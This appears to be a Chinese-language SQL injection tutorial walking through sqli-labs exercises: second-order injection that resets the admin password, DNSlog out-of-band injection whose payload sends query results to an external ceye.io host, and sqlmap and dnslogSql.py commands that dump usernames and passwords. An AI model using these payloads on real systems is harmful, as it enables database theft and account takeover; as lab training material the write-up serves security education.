SQL注入之二次,加解密,DNS等注入

时间:2024-01-29 07:31:49

#sql注入之二次注入

1.注入原理

二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入可分为两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

 2.靶场演示

sqlilabs第24关

 发现默认用户为admin密码未知

 尝试新建一个用户admin'#进行二次注入

查看数据库,已经添加成功

登陆admin'#

可以修改密码,我们查看此页面的网站源码,发现更新用户密码的sql语句如图:

我们修改用户admin'#的密码的SQL语句为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

注释掉后面的语句,就变成了修改用户admin的密码了,而admin'#用户密码没有改变。

 #DNSlog带外注入

1.带外注入原理

带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。也就是利用其他的协议或渠道,如http请求、DNS解析、SMB服务等京数据带出。

2.靶场演示

首先在http://ceye.io/注册一个账号,记录以下信息

 使用sqlilabs第9关进行演示

不会显示任何信息:

 构造pylaod:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+

在平台上查看返回的值:

 3.工具使用

工具地址 :https://github.com/adooo/dnslogsqlinj

需要使用python27环境

首先需要修改配置文件:

 

 使用语句如下:

获取数据库名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs  
获取数据库security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

 #sql注入加解密

小伙伴们可能会碰到有的url中有base64编码或者其他编码,在此类注入时我们需要先够造注入语句再进行转码,最后得到的编码再注入。

sqlmap中有相应的插件,可使用语句:

sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs

或者进行中转注入:

大体意思就是将传参用base64编码,再与url进行拼接。在开启htt服务用sqlmap或其他工具进行测试这个文件即可.

首先构造文件:

大体意思就是将传参用base64编码,再与url进行拼接。

其中base64_decode()函数是将传入的参数进行base64编码。

file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法。

例如sqlmap:

python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3